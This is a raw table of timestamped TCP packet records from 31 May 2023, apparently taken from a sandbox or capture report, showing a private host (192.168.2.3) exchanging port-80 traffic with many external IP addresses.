May 31, 2023 14:50:31.681106091 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681123972 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681143045 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681251049 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.681299925 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.681896925 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681926966 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681946039 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.681966066 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.682059050 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.682100058 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.682678938 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.682708979 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.682729006 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.682748079 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.682832956 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.682871103 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.683466911 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.683495045 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.683516026 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.683535099 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.683617115 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.683649063 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.684277058 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.684305906 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.684324980 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.684438944 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.684473991 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.695399046 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:31.719947100 CEST	80	49919	13.248.169.48	192.168.2.3
May 31, 2023 14:50:31.720030069 CEST	49919	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:31.741842031 CEST	80	49917	3.18.7.81	192.168.2.3
May 31, 2023 14:50:31.741895914 CEST	80	49917	3.18.7.81	192.168.2.3
May 31, 2023 14:50:31.741974115 CEST	49917	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.742623091 CEST	80	49920	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.754740000 CEST	49917	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.769961119 CEST	80	49921	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.770159960 CEST	49921	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.792916059 CEST	49921	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.793613911 CEST	49923	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.817539930 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817581892 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817600965 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817621946 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817784071 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817805052 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817822933 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.817892075 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.817972898 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.819379091 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.819411039 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.819430113 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.819448948 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.819638014 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.819711924 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.820682049 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820708036 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820727110 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820739985 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820759058 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820777893 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820797920 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820817947 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.820914984 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.820969105 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.821285963 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.821309090 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.821326971 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.821346998 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.821480989 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.821512938 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.822082996 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822132111 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822146893 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822160959 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822846889 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822885036 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822899103 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.822911024 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.823626995 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.823642015 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.823654890 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.823705912 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.824459076 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.824475050 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.824486971 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.824501038 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.824867964 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.825232983 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.825258970 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.825278044 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.825295925 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.825342894 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.825382948 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.826018095 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.826040030 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.826059103 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.826179028 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.826206923 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.862530947 CEST	49924	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:31.877382040 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:31.877645969 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:31.886219025 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:31.893866062 CEST	80	49924	188.166.152.188	192.168.2.3
May 31, 2023 14:50:31.894188881 CEST	49924	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:31.894777060 CEST	49924	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:31.896681070 CEST	80	49921	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.897538900 CEST	80	49921	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.897659063 CEST	49921	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.898364067 CEST	80	49921	208.97.178.138	192.168.2.3
May 31, 2023 14:50:31.898451090 CEST	49921	80	192.168.2.3	208.97.178.138
May 31, 2023 14:50:31.910284996 CEST	80	49917	3.18.7.81	192.168.2.3
May 31, 2023 14:50:31.925247908 CEST	80	49924	188.166.152.188	192.168.2.3
May 31, 2023 14:50:31.926323891 CEST	80	49924	188.166.152.188	192.168.2.3
May 31, 2023 14:50:31.926496983 CEST	49924	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:31.949479103 CEST	80	49923	3.18.7.81	192.168.2.3
May 31, 2023 14:50:31.949623108 CEST	49923	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:31.971256971 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971287012 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971304893 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971323967 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971342087 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971499920 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.971576929 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.971590042 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971611977 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971630096 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971636057 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.971649885 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971668959 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.971673012 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.971709013 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.972630978 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.972661972 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.972681046 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.972700119 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.972718954 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.972718954 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.972753048 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.972771883 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.973582029 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.973611116 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.973629951 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.973644018 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.973648071 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.973665953 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.973669052 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.973680019 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.973699093 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.973721027 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.974524021 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.974567890 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.974586964 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.974606037 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.974625111 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.974627972 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.974689960 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.975501060 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.975529909 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.975548983 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.975568056 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.975578070 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:31.975581884 CEST	80	49912	104.21.66.46	192.168.2.3
May 31, 2023 14:50:31.975630045 CEST	49912	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:32.021761894 CEST	49923	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:32.070363045 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.070405006 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.070422888 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.070444107 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.070527077 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.070564032 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.097309113 CEST	49853	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:32.165472984 CEST	49925	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:32.175965071 CEST	49926	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.177284956 CEST	80	49923	3.18.7.81	192.168.2.3
May 31, 2023 14:50:32.177316904 CEST	80	49923	3.18.7.81	192.168.2.3
May 31, 2023 14:50:32.177366972 CEST	49923	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:32.177400112 CEST	49923	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:32.178240061 CEST	49923	80	192.168.2.3	3.18.7.81
May 31, 2023 14:50:32.182142973 CEST	80	49925	188.114.96.7	192.168.2.3
May 31, 2023 14:50:32.182288885 CEST	49925	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:32.252499104 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252537012 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252556086 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252574921 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252593994 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252614021 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252634048 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252646923 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.252650023 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.252705097 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.252744913 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.263300896 CEST	49925	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:32.264312029 CEST	49927	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:32.271867990 CEST	80	49871	80.93.82.33	192.168.2.3
May 31, 2023 14:50:32.271955013 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:32.280122995 CEST	80	49925	188.114.96.7	192.168.2.3
May 31, 2023 14:50:32.280934095 CEST	80	49927	23.227.38.74	192.168.2.3
May 31, 2023 14:50:32.281027079 CEST	49927	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:32.286744118 CEST	49927	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:32.290467978 CEST	80	49925	188.114.96.7	192.168.2.3
May 31, 2023 14:50:32.290632963 CEST	49925	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:32.294753075 CEST	49925	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:32.303373098 CEST	80	49927	23.227.38.74	192.168.2.3
May 31, 2023 14:50:32.316986084 CEST	80	49925	188.114.96.7	192.168.2.3
May 31, 2023 14:50:32.317096949 CEST	49925	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:32.333638906 CEST	80	49923	3.18.7.81	192.168.2.3
May 31, 2023 14:50:32.340574980 CEST	80	49926	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.340679884 CEST	49926	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.364746094 CEST	49926	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.365888119 CEST	49928	80	192.168.2.3	18.66.192.23
May 31, 2023 14:50:32.380462885 CEST	80	49928	18.66.192.23	192.168.2.3
May 31, 2023 14:50:32.380580902 CEST	49928	80	192.168.2.3	18.66.192.23
May 31, 2023 14:50:32.385632992 CEST	49928	80	192.168.2.3	18.66.192.23
May 31, 2023 14:50:32.400183916 CEST	80	49928	18.66.192.23	192.168.2.3
May 31, 2023 14:50:32.400376081 CEST	80	49928	18.66.192.23	192.168.2.3
May 31, 2023 14:50:32.400450945 CEST	49928	80	192.168.2.3	18.66.192.23
May 31, 2023 14:50:32.424217939 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:32.425587893 CEST	49928	80	192.168.2.3	18.66.192.23
May 31, 2023 14:50:32.434643030 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434700012 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434720039 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434737921 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434756994 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434777975 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434777021 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434794903 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434813023 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434815884 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434833050 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434840918 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434853077 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434865952 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434873104 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434890985 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434899092 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434910059 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434921026 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434928894 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434947014 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.434953928 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.434989929 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.435005903 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.435992956 CEST	80	49927	23.227.38.74	192.168.2.3
May 31, 2023 14:50:32.436088085 CEST	49927	80	192.168.2.3	23.227.38.74
May 31, 2023 14:50:32.440319061 CEST	80	49928	18.66.192.23	192.168.2.3
May 31, 2023 14:50:32.440399885 CEST	49928	80	192.168.2.3	18.66.192.23
May 31, 2023 14:50:32.478456020 CEST	80	49870	70.39.251.249	192.168.2.3
May 31, 2023 14:50:32.478579998 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:32.529992104 CEST	80	49926	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.530330896 CEST	80	49926	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.530410051 CEST	49926	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.531085014 CEST	80	49926	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.531160116 CEST	49926	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.552930117 CEST	49926	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.566167116 CEST	49856	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:32.616825104 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.616867065 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.616888046 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.616908073 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.616926908 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.616928101 CEST	49930	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.616946936 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.616962910 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.616966009 CEST	80	49922	154.203.14.100	192.168.2.3
May 31, 2023 14:50:32.617029905 CEST	49922	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:32.709847927 CEST	80	49929	162.43.120.128	192.168.2.3
May 31, 2023 14:50:32.709954977 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:32.717499018 CEST	80	49926	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.717880964 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:32.719362974 CEST	80	49919	13.248.169.48	192.168.2.3
May 31, 2023 14:50:32.719419003 CEST	49919	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:32.725028992 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:32.759784937 CEST	49932	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:32.783035994 CEST	80	49930	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.783168077 CEST	49930	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.783605099 CEST	49930	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.831798077 CEST	49903	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:32.876388073 CEST	49933	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:32.883371115 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:32.883539915 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:32.900463104 CEST	80	49880	62.122.190.121	192.168.2.3
May 31, 2023 14:50:32.900624037 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:32.905309916 CEST	80	49931	208.109.214.162	192.168.2.3
May 31, 2023 14:50:32.905512094 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:32.906090021 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:32.927541018 CEST	80	49932	103.224.182.241	192.168.2.3
May 31, 2023 14:50:32.927707911 CEST	49932	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:32.928153992 CEST	49932	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:32.949686050 CEST	80	49930	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.950686932 CEST	80	49930	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.951419115 CEST	80	49930	69.163.218.51	192.168.2.3
May 31, 2023 14:50:32.951538086 CEST	49930	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:32.951802969 CEST	49930	80	192.168.2.3	69.163.218.51
May 31, 2023 14:50:33.003295898 CEST	80	49929	162.43.120.128	192.168.2.3
May 31, 2023 14:50:33.004345894 CEST	80	49929	162.43.120.128	192.168.2.3
May 31, 2023 14:50:33.004427910 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:33.086239100 CEST	80	49931	208.109.214.162	192.168.2.3
May 31, 2023 14:50:33.086621046 CEST	80	49931	208.109.214.162	192.168.2.3
May 31, 2023 14:50:33.086709976 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:33.092644930 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:33.102165937 CEST	80	49822	213.186.33.17	192.168.2.3
May 31, 2023 14:50:33.102317095 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:33.117824078 CEST	80	49930	69.163.218.51	192.168.2.3
May 31, 2023 14:50:33.131162882 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:33.139863014 CEST	80	49932	103.224.182.241	192.168.2.3
May 31, 2023 14:50:33.141741037 CEST	80	49932	103.224.182.241	192.168.2.3
May 31, 2023 14:50:33.141773939 CEST	80	49932	103.224.182.241	192.168.2.3
May 31, 2023 14:50:33.141921997 CEST	49932	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:33.141921997 CEST	49932	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:33.142354012 CEST	49932	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:33.151298046 CEST	80	49758	69.163.218.51	192.168.2.3
May 31, 2023 14:50:33.175481081 CEST	49861	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:33.309889078 CEST	80	49932	103.224.182.241	192.168.2.3
May 31, 2023 14:50:33.312150955 CEST	80	49931	208.109.214.162	192.168.2.3
May 31, 2023 14:50:33.312314034 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:33.378108978 CEST	80	49929	162.43.120.128	192.168.2.3
May 31, 2023 14:50:33.379009008 CEST	80	49929	162.43.120.128	192.168.2.3
May 31, 2023 14:50:33.379781008 CEST	49929	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:33.437402964 CEST	49934	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:33.546580076 CEST	80	49934	147.154.0.23	192.168.2.3
May 31, 2023 14:50:33.546674967 CEST	49934	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:33.547163010 CEST	49934	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:33.657524109 CEST	80	49934	147.154.0.23	192.168.2.3
May 31, 2023 14:50:33.672569036 CEST	80	49934	147.154.0.23	192.168.2.3
May 31, 2023 14:50:33.672822952 CEST	80	49934	147.154.0.23	192.168.2.3
May 31, 2023 14:50:33.672900915 CEST	49934	80	192.168.2.3	147.154.0.23
May 31, 2023 14:50:33.822973967 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:33.948880911 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:33.953227997 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:33.954399109 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:33.954565048 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.080174923 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.080202103 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.080218077 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.284970045 CEST	49863	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:34.284979105 CEST	49916	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:34.396945000 CEST	80	49764	208.97.178.138	192.168.2.3
May 31, 2023 14:50:34.466749907 CEST	80	49765	147.154.3.56	192.168.2.3
May 31, 2023 14:50:34.466974974 CEST	49765	80	192.168.2.3	147.154.3.56
May 31, 2023 14:50:34.636643887 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636679888 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636698961 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636718035 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636737108 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636755943 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636775970 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636795044 CEST	80	49935	74.208.236.101	192.168.2.3
